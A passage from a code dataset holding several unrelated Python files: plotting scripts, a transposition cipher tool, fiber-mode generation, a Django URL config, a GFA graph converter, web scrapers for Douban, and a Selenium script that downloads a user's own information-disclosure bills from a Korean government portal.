y=4.15, s=r\"FL$(p_c^t,\\gamma)=-(1-p_c^t)^\\gamma \\log(p_c^t)$\", fontsize=8)\n\n start = np.array([0.6, 1.0])\n end = np.array([1.0, 1.0])\n line = np.array([start, end])\n lw = 0.5\n plt.plot(*line.T, color=\"black\", lw=lw)\n diff = [0.0, 0.1]\n plt.plot(*np.array([start - diff, start + diff]).T, color=\"black\", lw=lw)\n plt.plot(*np.array([end - diff, end + diff]).T, color=\"black\", lw=lw)\n plt.text(x=0.8, y=1.15, s=\"easy objects\", ha=\"center\")\n\n\n plt.xlabel(\"Probability of ground-truth class ($p_c^t$)\")\n plt.ylabel(\"Focal Loss (FL)\")\n plt.xlim(0, 1)\n plt.ylim(0, 5.5)\n plt.tight_layout()\n\n\n\ndef make_base():\n plt.figure()\n make_content()\n plt.legend()\n plt.savefig(\"base.png\", dpi=240)\n\n\ndef make_sciplots():\n plt.style.use([\"science\", \"grid\"]) # Need SciencePlots pip package\n plt.figure()\n make_content()\n plt.legend()\n plt.savefig(\"sciplots.png\", dpi=240)\n\n\ndef make_legend():\n plt.style.use([\"science\", \"grid\"]) # Need SciencePlots pip package\n plt.figure()\n make_content()\n legend = plt.legend(fancybox=False, edgecolor=\"black\")\n legend.get_frame().set_linewidth(0.5)\n plt.savefig(\"legend.png\", dpi=240)\n\n\ndef make_linewidths():\n\n plt.style.use([\"science\", \"grid\"]) # Need SciencePlots pip package\n fig = plt.figure()\n ax = plt.gca()\n make_content()\n legend = plt.legend(fancybox=False, edgecolor=\"black\")\n legend.get_frame().set_linewidth(0.5)\n width = 0.5\n ax.spines[\"left\"].set_linewidth(width)\n ax.spines[\"bottom\"].set_linewidth(width)\n ax.spines[\"right\"].set_linewidth(width)\n ax.spines[\"top\"].set_linewidth(width)\n ax.tick_params(width=width)\n plt.savefig(\"linewidths.png\", dpi=240)\n\ndef make_pgf():\n plt.style.use([\"science\", \"grid\"]) # Need SciencePlots pip package\n import matplotlib\n matplotlib.use(\"pgf\")\n matplotlib.rcParams.update(\n {\n \"pgf.texsystem\": \"pdflatex\",\n \"font.family\": \"serif\",\n \"text.usetex\": True,\n \"pgf.rcfonts\": False,\n # \"font.size\": 20,\n }\n )\n\n fig = plt.figure()\n ax = plt.gca()\n make_content()\n legend = plt.legend(fancybox=False, edgecolor=\"black\")\n legend.get_frame().set_linewidth(0.5)\n width = 0.5\n ax.spines[\"left\"].set_linewidth(width)\n ax.spines[\"bottom\"].set_linewidth(width)\n ax.spines[\"right\"].set_linewidth(width)\n ax.spines[\"top\"].set_linewidth(width)\n ax.tick_params(width=width)\n plt.savefig(\"pgf.pgf\")\n\ndef make_final():\n textwidth = 3.31314\n aspect_ratio = 6/8\n scale = 1.0\n figwidth = textwidth * scale\n figheight = figwidth * aspect_ratio\n\n plt.style.use([\"science\", \"grid\"]) # Need SciencePlots pip package\n import matplotlib\n matplotlib.use(\"pgf\")\n matplotlib.rcParams.update(\n {\n \"pgf.texsystem\": \"pdflatex\",\n \"font.family\": \"serif\",\n \"text.usetex\": True,\n \"pgf.rcfonts\": False,\n # \"font.size\": 20,\n }\n )\n\n fig = plt.figure(figsize=(figwidth, figheight))\n ax = plt.gca()\n make_content()\n legend = plt.legend(fancybox=False, edgecolor=\"black\")\n legend.get_frame().set_linewidth(0.5)\n width = 0.5\n ax.spines[\"left\"].set_linewidth(width)\n ax.spines[\"bottom\"].set_linewidth(width)\n ax.spines[\"right\"].set_linewidth(width)\n ax.spines[\"top\"].set_linewidth(width)\n ax.tick_params(width=width)\n plt.savefig(\"final.pgf\")\n\nmake_base()\nmake_sciplots()\nmake_legend()\n# make_linewidths()\nmake_pgf()\nmake_final()\n","sub_path":"assets/posts/2021-09-29-matplotlib-viz/figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":4767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"68203123","text":"from io import open\nimport os\nimport matplotlib.pyplot as mpl\n\ndef transposition_encryption():\n os.system('clear')\n # Read file\n txtFile = open('plain text.txt','r', encoding=\"utf8\")\n fileContent = txtFile.readlines()\n txtFile.close()\n\n # Replace returns by spaces\n plain_text = \"\"\n for fc in fileContent:\n plain_text += fc.replace(\"\\n\", \" \").upper()\n\n # Alphabet\n alphabet = \"ABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789\"\n\n # Delete special characters\n final_plain_text = \"\"\n for pt in plain_text:\n if pt.upper() in alphabet:\n final_plain_text += pt.upper()\n else:\n if pt == \" \":\n final_plain_text += \" \"\n else:\n final_plain_text += \"\"\n\n print(\"========== Plain text ==========\\n\\n\", final_plain_text)\n\n # print(msg)\n keyin = input(\"\\n~# KEY: \").upper()\n paddingin = input(\"\\n~# PADDING [a-z]: \").lower()\n\n key = ''\n padding = ''\n if keyValidate(keyin):\n key = keyin\n else:\n exit()\n if paddingValidate(paddingin):\n padding = paddingin\n else:\n exit()\n\n msg = final_plain_text.replace(\" \", padding)\n\n # assigning numbers to keywords\n kywrd_num_list = keyword_num_assign(key)\n\n print(\"\\n\\n========== Transposition grid ==========\\n\")\n # printing key\n for i in range(len(key)):\n print(key[i], end=\" \", flush=True)\n # for\n print()\n for i in range(len(key)):\n print(str(kywrd_num_list[i]), end=\" \", flush=True)\n # for\n print(\"\\n-------------------------\")\n\n # in case characters don't fit the entire grid perfectly.\n extra_letters = len(msg) % len(key)\n # print(extraLetters)\n dummy_characters = len(key) - extra_letters\n # print(dummyCharacters)\n\n if extra_letters != 0:\n for i in range(dummy_characters):\n msg += padding\n # if\n\n # print(msg)\n\n num_of_rows = int(len(msg) / len(key))\n\n # Converting message into a grid\n arr = [[0] * len(key) for i in range(num_of_rows)]\n z = 0\n for i in range(num_of_rows):\n for j in range(len(key)):\n arr[i][j] = msg[z]\n z += 1\n # for\n # for\n\n for i in range(num_of_rows):\n for j in range(len(key)):\n print(arr[i][j], end=\" \", flush=True)\n print()\n # for\n\n # getting locations of numbers\n num_loc = get_number_location(key, kywrd_num_list)\n\n # cipher\n cipher_text = \"\"\n k = 0\n for i in range(len(key)):\n if k == len(key):\n break\n else:\n d = int(num_loc[k])\n # if\n for j in range(num_of_rows):\n cipher_text += arr[j][d]\n # for\n k += 1\n # for\n\n print(\"\\n\\n========== Final Text Encrypted ==========\\n\")\n print(cipher_text+'\\n\\n')\n\n # Create output file\n outputFile = open('encrypted text.txt','w')\n outputFile.write(cipher_text)\n outputFile.close()\n createHistogram(cipher_text.replace(padding,\" \"))\n\ndef transposition_decryption():\n os.system('clear')\n # Read file\n txtFile = open('encrypted text.txt','r', encoding=\"utf8\")\n fileContent = txtFile.readlines()\n txtFile.close()\n\n # Replace returns by spaces\n tws = \"\"\n for fc in fileContent:\n tws += fc.replace(\"\\n\", \" \")\n\n # Alphabet\n alphabet = \"ABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789\"\n alphabetM = \"abcdefghijklmnñopqrstuvwxyz\"\n\n # Replace returns by spaces\n encrypted_text = \"\"\n for fc in tws:\n if fc in alphabet:\n encrypted_text += fc.upper()\n elif fc in alphabetM:\n encrypted_text += \" \"\n else:\n encrypted_text += \"\"\n\n print(\"========== Encrypted text ==========\\n\\n\", encrypted_text)\n\n msg = encrypted_text\n # print(msg)\n # print(msg)\n keyin = input(\"\\n~# KEY: \").upper()\n\n key = ''\n if keyValidate(keyin):\n key = keyin\n else:\n exit()\n\n # assigning numbers to keywords\n kywrd_num_list = keyword_num_assign(key)\n\n num_of_rows = int(len(msg) / len(key))\n\n # getting locations of numbers\n num_loc = get_number_location(key, kywrd_num_list)\n\n # Converting message into a grid\n arr = [[0] * len(key) for i in range(num_of_rows)]\n\n # decipher\n plain_text = \"\"\n k = 0\n itr = 0\n\n for i in range(len(msg)):\n d = 0\n if k == len(key):\n k = 0\n else:\n d: int = int(num_loc[k])\n for j in range(num_of_rows):\n arr[j][d] = msg[itr]\n itr += 1\n if itr == len(msg):\n break\n k += 1\n print()\n\n for i in range(num_of_rows):\n for j in range(len(key)):\n plain_text += str(arr[i][j])\n\n print(\"\\n========== Decrypted text ==========\\n\")\n print(plain_text)\n\n # Create output file\n outputFile = open('decrypted text.txt','w')\n outputFile.write(plain_text)\n outputFile.close()\n\ndef keyValidate(key):\n alphabet = \"12345678\"\n\n if(len(key) > len(alphabet) or len(key) < 4):\n print(\"ERROR! THE KEY MUST BE EQUAL TO THE ALPHABET [4-8]\")\n return False\n\n flag = 0\n for k in key:\n repeat = 0\n for l in key:\n if l in alphabet:\n if k == l:\n repeat += 1\n else:\n flag += 1\n if repeat > 1:\n flag += 1\n\n if flag >= 1:\n print(\"\\nERROR! A KEY NUMBER IS REPEATED OR IS INVALID\")\n return False\n else:\n return True\n# * ================================== *\n# * GENERATE HISTOGRAM *\n# * ================================== *\n\ndef createHistogram(plainText):\n alphabet = \"ABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789\"\n A=0;B=0;C=0;D=0;E=0;F=0;G=0;H=0;I=0;J=0;K=0;L=0;M=0;N=0;Ñ=0;O=0;P=0;Q=0;R=0;S=0;T=0;U=0;V=0;W=0;X=0;Y=0;Z=0\n one=0;two=0;three=0;four=0;five=0;six=0;seven=0;eigth=0;nine=0;ten=0\n\n for cc in plainText:\n if cc in alphabet:\n if cc == 'A': A += 1\n if cc == 'B': B += 1\n if cc == 'C': C += 1\n if cc == 'D': D += 1\n if cc == 'E': E += 1\n if cc == 'F': F += 1\n if cc == 'G': G += 1\n if cc == 'H': H += 1\n if cc == 'I': I += 1\n if cc == 'J': J += 1\n if cc == 'K': K += 1\n if cc == 'L': L += 1\n if cc == 'M': M += 1\n if cc == 'N': N += 1\n if cc == 'Ñ': Ñ += 1\n if cc == 'O': O += 1\n if cc == 'P': P += 1\n if cc == 'Q': Q += 1\n if cc == 'R': R += 1\n if cc == 'S': S += 1\n if cc == 'T': T += 1\n if cc == 'U': U += 1\n if cc == 'V': V += 1\n if cc == 'W': W += 1\n if cc == 'X': X += 1\n if cc == 'Y': Y += 1\n if cc == 'Z': Z += 1\n if cc == '0': one += 1\n if cc == '1': two += 1\n if cc == '2': three += 1\n if cc == '3': four += 1\n if cc == '4': five += 1\n if cc == '5': six += 1\n if cc == '6': seven += 1\n if cc == '7': eigth += 1\n if cc == '8': nine += 1\n if cc == '9': ten += 1\n\n histogram = mpl.figure(u'FRECUENCY HISTOGRAM ON CIPHER TEXT')\n axis = histogram.add_subplot(111)\n\n aLabels = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','Ñ','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']\n num = [A,B,C,D,E,F,G,H,I,J,K,L,M,N,Ñ,O,P,Q,R,S,T,U,V,W,X,Y,Z,one,two,three,four,five,six,seven,eigth,nine,ten]\n xx = range(len(num))\n rects1 = axis.bar(xx,num,width=0.5,color = 'y',align='center')\n axis.set_xticks(xx)\n axis.set_xticklabels(aLabels)\n mpl.xlabel(\"Cipher Text\")\n mpl.ylabel(\"Absolute Frecuency\")\n\n def autolabel(rects):\n for rect in rects:\n height = rect.get_height()\n axis.text(rect.get_x() + rect.get_width()/2., 1.05*height,\n '%d' % int(height),\n ha='center', va='bottom')\n\n autolabel(rects1)\n mpl.show()\n\ndef paddingValidate(padding):\n alpha = \"abcdefghijklmnñopqrstuvwxyz\"\n flag = True\n if len(padding) > 1:\n print(\"ERROR! PADDING MUST BE A ONLY ONE CHARACTER\")\n flag = False\n elif padding not in alpha:\n print(\"ERROR! PADDING MUST BE A LOWER CASE CHARACTER [a-z]\")\n flag = False\n return flag\n\ndef get_number_location(key, kywrd_num_list):\n num_loc = \"\"\n for i in range(len(key)):\n for j in range(len(key)):\n if kywrd_num_list[j] == i:\n num_loc += str(j)\n # if\n # for\n # for\n return num_loc\n\ndef keyword_num_assign(key):\n alpha = \"12345678\"\n kywrd_num_list = list(range(len(key)))\n # print(kywrdNumList)\n init = 0\n for i in range(len(alpha)):\n for j in range(len(key)):\n if alpha[i] == key[j]:\n init += 1\n kywrd_num_list[j] = init - 1\n # if\n # inner for\n # for\n return kywrd_num_list\n\ndef main():\n os.system('clear')\n option = int (input(\"========== Choose an option ==========\\n1) Encrypt \\n2) Decrypt\\n\\n\"))\n\n if option == 1:\n transposition_encryption()\n elif option == 2:\n transposition_decryption()\n else:\n print(\"Incorrect option\")\n\nif __name__ == \"__main__\":\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"198570020","text":"import numpy as np\nimport fibermodes\n\nfrom PyMieSim.Physics import FraunhoferDiffraction\nfrom PyMieSim.Tools.utils import Normalize\n\n\nLPList = [(0,1),\n (0,2),\n (0,3),\n (1,1),\n (1,2),\n (1,3),\n (2,1),\n (2,2),\n (3,1),\n (3,2),\n (4,1),\n (5,1)]\n\n\ndef SMF28(mode, Num):\n \"\"\"Function return an instance of the fiber class specific for a\n SMF28 fiber optic .\n\n \"\"\"\n import fibermodes\n\n CoreDiameter = 8.2e-6\n cladDiameter = 125e-6\n\n Fiber = fiber()\n\n SFactor = 100\n\n\n Field = fibermodes.field.Field(Fiber.source,\n fibermodes.Mode(fibermodes.ModeFamily.HE, mode[0]+1, mode[1]),\n 940e-9,\n Fiber.CoreDiameter*Num/SFactor,\n Num).Ex()\n\n return np.array(Field, copy=False)\n\n\ndef GenLPfiles(LPList, Num=251):\n \"\"\"Function generate numpy files containing the LP mode field.\n The file directory is: \"PyMieSim/LPmodes/LP*.npy\"\n\n Parameters\n ----------\n LPList : :class:`list`\n List of the modes to be computed.\n Num : :class:`int`\n Number of points to evaluate the mode field.\n\n \"\"\"\n for mode in LPList:\n\n filename = f'PyMieSim/LPmodes/LP{mode[0]}{mode[1]}.npy'\n\n modeField = SMF28(mode = (mode[0], mode[1]) , Num=Num)\n\n np.save(filename, modeField)\n\n print(f'Mode LP{mode[0]}{mode[1]} done!')\n\n print('Files are saved in \"PyMieSim/LPmodes/LP*.npy\" ')\n\n\ndef Genfiles(LPList, padWidth = 2000, Num=251):\n \"\"\"Function generate numpy files containing the FarField of the LP modes.\n The file directory is: \"PyMieSim/LPmodes/FLP*.npy\"\n\n Parameters\n ----------\n LPList : :class:`list`\n List of the modes to be computed.\n padWidth : :class:`int`\n The padding for the fourier transform, the higher the larger is the farfield.\n Num : :class:`int`\n Number of points to evaluate the mode field.\n\n \"\"\"\n PAD = ((padWidth,padWidth),(padWidth,padWidth))\n\n for mode in LPList:\n\n filename = f'PyMieSim/LPmodes/FLP{mode[0]}{mode[1]}.npy'\n\n FmodeField = SMF28(mode = (mode[0], mode[1]) , Num=Num)\n\n FmodeField = np.pad(array = FmodeField,\n pad_width = PAD,\n mode = 'constant')\n\n FmodeField = FraunhoferDiffraction(FmodeField)[padWidth:-padWidth, padWidth:-padWidth]\n\n FmodeField = Normalize(FmodeField)\n\n np.save(filename, FmodeField)\n\n print(f'Fourier Mode LP{mode[0]}{mode[1]} done!')\n\n print('Files are saved in \"PyMieSim/LPmodes/FLP*.npy\" ')\n\n\nclass fiber(object):\n \"\"\"Class generating a fiber object from fibermodes package\n (see requirement.txt).\n\n Parameters\n ----------\n core_radius : :class:`float`\n Radius of the core of the fiber.\n core_index : :class:`float`\n Index of the core of the fiber.\n clad_radius : :class:`float`\n Radius of the clad of the fiber.\n clad_index : :class:`float`\n Index of the clad of the fiber.\n\n \"\"\"\n\n def __init__(self,\n core_radius: float = 8.2e-6,\n core_index: float = 1.4456,\n clad_radius: float = 125e-6,\n clad_index: float = 1.4444):\n\n self.MaxDirect = 2 * clad_radius\n\n self.CoreDiameter = core_radius\n\n factory = fibermodes.FiberFactory()\n\n factory.addLayer(name = 'core',\n radius = core_radius,\n material = 'Fixed',\n geometry = \"StepIndex\",\n index = 1.4489)\n\n factory.addLayer(name = 'cladding',\n material = 'Fixed',\n index = 1)\n\n self.source = factory[0]\n\n\nif __name__=='__main__':\n GenLPFourierfiles(LPList)\n","sub_path":"PyMieSim/Tools/FiberModes.py","file_name":"FiberModes.py","file_ext":"py","file_size_in_byte":3952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"531966480","text":"def get_indices_of_item_weights(weights, length, limit):\n\n \"\"\"\n YOUR CODE HERE\n \"\"\"\n weights = dict()\n\n for i in range(length):\n y = weights.get(limit - weights[i])\n if y != None:\n return (i, y)\n else:\n weights[weights[i]] = i\n\n print(weights)\n\n return None\n","sub_path":"hashtables/ex1/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"120457496","text":"\"\"\"votem URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\n\nfrom votem import settings\n\nurlpatterns = [\n url(r'^api/admin/', admin.site.urls),\n url(r'^api/authe/', include('authe.urls', namespace='authe')),\n url(r'^api/polls/', include('polls.urls', namespace='polls')),\n url(r'^api/moderators/', include('moderators.urls', namespace='moderators')),\n url(r'^api/statistics/', include('statistics.urls', namespace='statistics')),\n # url(r'^api/push/', include('pushtoken.urls', namespace='pushtoken')),\n]\n\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n\nhandler500 = \"moderators.views.handler500\"\nhandler404 = \"moderators.views.handler404\"\nhandler400 = \"moderators.views.handler400\"\n","sub_path":"src/votem/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"621310300","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# \n'''\nCreation of a GFA file from a set of compacted maximal super reads \n@author pierre peterlongo pierre.peterlongo@inria.fr\n''' \n\nimport sys\nimport getopt\nimport K2000_common as kc\n\ndef get_size_super_read_in_u(u,unitigs,k):\n '''compute the size of unitigs of a path stored in u (sum(size unitigs) - (|u|-1)*(k-1)'''\n cumulated_size_unitigs=0\n for unitig_id in u:\n if unitig_id<0: unitig_id=-unitig_id\n cumulated_size_unitigs+=len(unitigs[unitig_id-1]) # Ids starts at 1 (avoiding the -0=0 problem). Thus unitig i corresponds to unitigs[i-1]\n cumulated_size_unitigs-=(len(u)-1)*(k-1) # remove the size of the overlapping contigs\n return cumulated_size_unitigs\n\ndef show_right_edges (SR,x,id_x,unitigs,k,indexed_nodes):\n ''' Main function. For a given super read x, we find y that overlap x, and we print the links in a GFA style:\n L\t11\t+\t12\t-\toverlap size\n Note that one treat x only if its canonical. \n Four cases :\n 1/ x overlaps y, with y canonical. One prints x + y + blabla\n 2/ x overlaps y_, with y_ non canonical. In this case, y_ overlaps x. One of the two solutions has to be chosen. We chose min(idx,idy) (with idx,idy being the ids of the MSR x,y in SR) One searches the id of y, and one prints x + y - blabla. \n 3/ x_ overlaps y. same as 2. \n 4/ x_ overlaps y_. We do nothing, this case is treated when the entry of the function is y that thus overlaps x. \n '''\n if not kc.is_canonical(x): return\n n=len(x)\n \n \n # CASES 1 AND 2\n strandx='+'\n for len_u in range(1,n): # for each possible x suffix\n u=x[-len_u:]\n Y=SR.get_lists_starting_with_given_prefix(u)\n # if x in Y: Y.remove(x) # we remove x itself from the list of y : note that it should not occur.\n # if x in Y: print (\"ho ho ho\",x)\n # print (x)\n # assert(x not in Y)\n if len(Y)==0: continue # No y starting with u\n for y in Y:\n # detect the y strand \n if kc.is_canonical(y): # CASE 1/\n strandy ='+'\n id_y=indexed_nodes.index(y) # get the id of the target node\n else: # CASE 2/\n strandy='-'\n id_y = indexed_nodes.index(kc.get_reverse_sr(y))\n if id_x>id_y: continue # x_.y is the same as y_.x. Thus we chose one of them. By convention, we print x_.y if xid_y: continue # x_.y is the same as y_.x. Thus we chose one of them. By convention, we print x_.y if xnode_\"+str(node_id))\n print_first_kmer=True\n for unitig_id in sr:\n reverse=False\n if unitig_id<0: #the sequence is indicated as reverse complemented. Note that unitig ids start with 1, thus the -0 problem does not appear.\n reverse=True\n unitig_id=-unitig_id\n unitig=unitigs[unitig_id-1] # grab the good unitig. Ids starts at 1 (avoiding the -0=0 problem). Thus unitig i corresponds to unitigs[i-1]\n if reverse: unitig=kc.reverse_complement(unitig) #reverse the untig if necessary\n if not print_first_kmer: unitig=unitig[k-1:] #remove the k-1overlap\n if print_first_kmer: print_first_kmer=False #do not print first kmer for next unitigs\n print (unitig,end=\"\")\n print ()\n \n \n\ndef main():\n '''\n Creation of a GFA file from a set of compacted maximal super reads \n '''\n # SR=[[1,3,4],[14],[4,6],[-6,-1,-2],[4,6,7,9],[9,10,11,12],[4,6],[-13, -12, -11]]\n \n SR=kc.generate_SR(sys.argv[1])\n unitigs=kc.load_unitigs(sys.argv[2])\n k = int(sys.argv[3])\n kc.add_reverse_SR(SR)\n SR.sort()\n sys.stderr.write(\"Print GFA Nodes\\n\")\n print_GFA_nodes(SR,unitigs,k-1)\n sys.stderr.write(\"Print GFA Edges\\n\")\n indexed_nodes=index_node_ids(SR)\n print_GFA_edges(SR,unitigs,k, indexed_nodes)\n\n\nif __name__ == \"__main__\":\n main() \n","sub_path":"K2000/K2000_msr_to_gfa.py","file_name":"K2000_msr_to_gfa.py","file_ext":"py","file_size_in_byte":8819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"600321658","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nurl = 'https://movie.douban.com/top250'\r\n\r\npage = requests.get(url).content.decode()\r\nsoup =BeautifulSoup(page,'html.parser')\r\n\r\nlinks = soup.find('ol',{'class':'grid_view'}).find_all('div',{'class':'hd'})\r\n#print(links)\r\n\r\nfor link in links:\r\n\r\n url = link.find('a').get('href')\r\n page = requests.get(url).content.decode()\r\n soup = BeautifulSoup(page,'html.parser')\r\n title = soup.find('span',{'property':'v:itemreviewed'}).text\r\n # language = soup.find('span',{'class':'actor'}).find_all('span',{'class':'attrs'})\r\n print(title)\r\n\r\n #缺网页循环","sub_path":"scrapy/AnacondaProjects/spider/top250details.py","file_name":"top250details.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"136982323","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ncount = 1\nflag = True\n\nfigures = [plt.figure(), plt.figure(), plt.figure()]\n\naxes = []\nfor fig in figures:\n axes.append(fig.gca())\nx = np.arange(20)\n\nwhile flag:\n for i in range(3):\n plt.ion()\n y = pow(x[:count], 2)\n temp = x[:count]\n axes[i].plot(temp, y, linewidth=1)\n plt.pause(0.01) # \n plt.savefig(\"8_\" +str(i) + \".png\")\n plt.ioff()\n count += 1\n if count > 20:\n break\n\n# plt.show() \nplt.close()\n","sub_path":"tools/py_matplotlib/8_plt_ion_ioff.py","file_name":"8_plt_ion_ioff.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"250824592","text":"__author__='棒棒糖'\nimport urllib.request\nfrom openpyxl import Workbook\nif __name__=='__main__':\n print('爬取豆瓣网书籍数据写入excel示例')\n url='https://api.douban.com/v2/book/search?q=python'\n response=urllib.request.urlopen(url)\n ebook_str=response.read().decode()\n ebook_dict=eval(ebook_str)\n #构建一个Workbook对象\n wb=Workbook()\n ws=wb.active\n ws.append([\"书名\", \"作者\", \"描述\", \"出版社\", \"价格\"])\n #写入信息\n for book in ebook_dict['books']:\n ws.append([book['title'],','.join(book['author']),book['summary'],book['publisher'],book['price']])\n #保存\n wb.save('ebook.xlsx')","sub_path":"第一期/上海-棒棒糖/第二次任务-每日代码练习/2017-1/1-16/douban_excel.py","file_name":"douban_excel.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"162451092","text":"#!/usr/local/bin/python3\nimport sys\nimport sqlite3\nimport datetime\nimport requests\nimport os\nimport errno\nimport configparser\nimport sys\nfrom selenium import webdriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support.ui import Select\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\nUSER_ID = config['DEFAULT']['USER_ID']\nPASSWORD = config['DEFAULT']['PASSWORD']\nFROM_DATE = config['DEFAULT'].get(\"FROM_DATE\", None)\nCHROME_DRIVER_PATH = \"./chromedriver\"\nBILL_DB = \"./bill.db\"\nOUTPUT_HTML = \"./result.html\"\n\nLOGIN_URI = 'https://www.open.go.kr/pa/member/openLogin/memberLogin.do'\nBILLING_LIST_URI = 'https://www.open.go.kr/pa/billing/openBilling/openBillingList.do'\n\n# driver setting\ndriver = webdriver.Chrome(executable_path=CHROME_DRIVER_PATH)\n\ndef wait_until(sec, until):\n\tWebDriverWait(driver, sec).until(until)\n\ndef login():\n\t# login\n\tdriver.get(LOGIN_URI)\n\n\tmemberId = driver.find_element_by_name(\"mberId\")\n\tmemberId.clear()\n\tmemberId.send_keys(USER_ID)\n\n\tpwd = driver.find_element_by_name(\"pwd\")\n\tpwd.clear()\n\tpwd.send_keys(PASSWORD)\n\n\tbutton = driver.find_element_by_id(\"loginSubmitBtn\")\n\tbutton.click()\n\n\twait_until(30, EC.presence_of_element_located((By.ID, 'loginCheckTime')))\n\ndef init_page_list():\n\t# list\n\tdriver.get(BILLING_LIST_URI)\n\twait_until(10, EC.invisibility_of_element_located((By.ID, 'imgLoading')))\n\n\t# select = Select(driver.find_element_by_id('prcsStsCdSch'))\n\t# select.select_by_visible_text('처리완료')\n\n\t# select = driver.find_element_by_id('rowPage')\n\t# driver.execute_script('arguments[0].getElementsByTagName(\"option\")[3].value = 10000', select)\n\n\tif FROM_DATE :\n\t\tdriver.execute_script('document.getElementById(\"stRceptPot\").value = \"'+FROM_DATE+'\"')\n\n\tselect = Select(driver.find_element_by_id('rowPage'))\n\tselect.select_by_visible_text('100')\n\n\tbutton = driver.find_element_by_id(\"searchBtn\")\n\tbutton.click()\n\twait_until(10, EC.invisibility_of_element_located((By.ID, 'imgLoading')))\n\n\tif len(driver.find_element_by_class_name(\"pagination\").text) > 1 :\n\t\tlastPageLink = driver.find_elements_by_class_name(\"direction\")[3]\n\t\tlastPageLink.click()\n\n\twait_until(10, EC.invisibility_of_element_located((By.ID, 'imgLoading')))\n\ndef next_page():\n\tprevLink = driver.find_elements_by_class_name(\"direction\")[1]\n\tprint(\"prevLink : \")\n\tprint(prevLink.text)\n\tprevLink.click()\n\twait_until(10, EC.invisibility_of_element_located((By.ID, 'imgLoading')))\n\ndef get_rows():\n\tif not driver.current_url.startswith(BILLING_LIST_URI) :\n\t\tinit_page_list()\n\ttable_id = driver.find_element(By.ID, 'openBillingTable')\n\trows = table_id.find_elements(By.TAG_NAME, \"tbody\")[0].find_elements(By.TAG_NAME, \"tr\")\n\treturn rows\n\ndef set_row(idx):\n\trow = get_rows()[idx]\n\tcols = row.find_elements(By.TAG_NAME, \"td\")\n\tif len(cols) == 1 :\n\t\tprint(\"empty!\")\n\t\tdriver.close()\n\t\texit()\n\n\tbill = dict( id = cols[1].text, \n\t\tregist_date = cols[2].text,\n\t\tsubject = cols[3].text,\n\t\tcity = cols[4].text,\n\t\tstatus = cols[5].text,\n\t\tproc_date = cols[6].text,\n\t\tetc = cols[7].text,\n\t\tcontents = '',\n\t\tfile_name = '',\n\t\tupdate_date = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n\t\t)\n\tif find_finished(bill['id']) :\n\t\treturn\n\n\tif bill['status'].startswith(u\"처리완료\") :\n\t\tcols[3].find_element(By.TAG_NAME, \"a\").click()\n\t\twait_until(10, EC.invisibility_of_element_located((By.ID, 'imgLoading')))\n\n\t\tbill['contents'] = driver.find_element_by_id('oppCn').text.replace(\"\\\\n\",\"\")\n\t\tfile_area = driver.find_element_by_id('dntcFileListTxt')\n\n\t\tif len(file_area.text) > 1 :\n\t\t\thref = file_area.find_element(By.TAG_NAME, \"a\").get_attribute(\"href\");\n\t\t\tif file_area.find_element(By.TAG_NAME, \"a\").text == u\"본인인증\" :\n\t\t\t\tbill['etc'] = u'본인인증'\n\t\t\t\tdriver.execute_script('document.getElementById(\"modal_back\").remove()')\n\t\t\t\t\n\t\t\telse :\n\t\t\t\tfiles = driver.find_element_by_id('dntcFileListTxt').find_elements(By.TAG_NAME, \"a\")\n\t\t\t\tfile_names = []\n\t\t\t\tfor file in files:\n\n\t\t\t\t\tfile_name = file.text\n\n\t\t\t\t\ts = requests.Session()\n\t\t\t\t\tfor cookie in driver.get_cookies(): \n\t\t\t\t\t\tc = {cookie['name']: cookie['value']} \n\t\t\t\t\t\ts.cookies.update(c)\n\t\t\t\t\tres = s.get(href)\n\n\t\t\t\t\t# file write\n\t\t\t\t\tfile_path = 